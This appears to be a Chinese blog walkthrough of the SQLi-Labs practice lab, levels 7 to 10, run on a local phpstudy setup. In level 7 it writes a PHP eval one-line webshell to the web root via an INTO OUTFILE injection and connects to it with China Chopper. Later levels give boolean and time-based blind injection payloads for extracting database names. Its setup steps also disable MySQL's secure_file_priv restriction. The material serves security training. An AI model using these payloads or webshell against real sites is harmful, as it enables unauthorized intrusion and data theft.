SQLi-Labs:Less7-Less10

 因为我们用的是phpstudy,所以存在一个文件读写权限问题,我们需要修改一下,首先在mysql命令行中用show variables like '%secure%';查看 secure-file-priv 当前的值,如果像下图一样显示为NULL(这个必须做,要不然后面一句话木马写不到目录里)

 需要打开 C:phpstudyPHPTutorialMySQLmy.ini文件,在其中加上一句:secure_file_priv="/"

 重启phpstudy,在Mysql命令行重新输入命令

再加个小知识:用到的两个函数:load_file()  读取本地文件  into outfile 写文件    可以百度函数用法,提示路径需要用双斜线


Less 7

我们先输入了?id=1,根据sql语句输出我们可以知道这次是单引号加双括号的字符型注入,闭合方式为?id=1'))    --+

一般查看是否有错误是加单引号,像这一关就是,加了单引号报错,说明存在注入

但是页面显示和前两关不一样,you are in........的后面多了use  outfile........,说明这一关让我们使用outfile函数

 还是自己练手的原因,找到了闭合方式和这熟悉的you are in.......,我忍不住用第五关的方式尝试了一下还是可以的

首先尝试了left()函数

 

尝试了ASCII码方式,均可

 

 

接下来我们听话use outfile,我们会想到使用 mysql 写文件,eg:写入一句话木马,使用菜刀等工具连接

下面我们将一句话木马写入a.php文件中。。。(存放位置:C:phpStudyPHPTutorialWWWsqli-labs-masterLess-7)

 语句:?id=-1')) union select 1,2, '<?php @eval($_POST["jyx"]); ?>' into outfile 'C:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-7\zjj.php' --+   (一句话木马里面的jyx是密码)

 如下图所示才叫写入成功

我们先直接进行访问,url:http://localhost/sqli-labs-master/Less-7/zjj.php如下,因为一句话木马是用php写的,在这里没有显示

 

 下面用中国菜刀开始进行连接,复制上方的url,打开中国菜刀,右键添加,输入链接和上方提到的密码,点击添加

 双击新增条目,成功

 我们就成功拿到了这个网站的webshell


 Less 8

日常先输入?id=1

 加上单引号?id=1',You are in...消失,说明存在注入漏洞

我们加入注释符号 --+,即?id=1' --+,说明我们要以这样形式进行构造

法一:布尔盲注 

可以查出列数,使用 order by 语句:?id=1' order by 3 --+

 ?id=1' order by 4 --+,可以看出还是3列

 剩下的与第五关的类似,可以用left()函数,可以用ASCII码方法(猜解速度较慢),还可以用burp suite爆破

法二:时间盲注

小知识:if()函数——IF(condition,A,B),如果condition为true,执行A,否则执行B(若在mysql命令行中使用,首先要use ****数据库才行)

首先?id=1' and sleep(5) --+,查看网络,发现存在漏洞并可以采用时间盲注

我们使用if() + length()的组合猜解库名长度,这里页面返回时间正常,所以条件为真,库名长度大于7

?id=1' and if(length(database())>7,1,sleep(5)) --+

 ?id=1' and if(length(database())>8,1,sleep(5)) --+,根据返回时间说明条件为假,结合上面可知库名长度为8

猜库名

 ?id=1' and if(ascii(mid((select database()),1,1))>114,1,sleep(5)) --+

 ?id=1' and if(ascii(mid((select database()),1,1))>115,1,sleep(5)) --+    说明第一个字母的ASCII码值为115,对照表知道为s,以此类推知道后几个字母

 猜其他库的库名,比如第四个库的第一个字母

 ?id=1' and if(ascii(mid((select schema_name from information_schema.schemata limit 3,1),1,1))>108,1,sleep(5)) --+

?id=1' and if(ascii(mid((select schema_name from information_schema.schemata limit 3,1),1,1))>109,1,sleep(5)) --+

 说明这第一个字母是m,经我查证,第四个库是mysql


Less 9

首先?id=1

 再?id=1’

 前面的什么双引号、单括号、双括号都试过,说明无论对错页面都不会产生变化的,所以使用sleep函数试了下

?id=1’ and sleep(5)--+ 使用这个语句时候,网页会停顿5秒,即存在注入漏洞

我们可以使用第8关中的时间盲注进行操作,不可以使用布尔盲注,因为布尔盲注还是根据正确错误有不同的页面呈现的,这里始终页面是不变的;


Less 10

首先继续?id=1

 剩下与第九关相同,我们只要注意闭合方式是双引号的就可以啦

原文地址:https://www.cnblogs.com/ApricityJ/p/12630042.html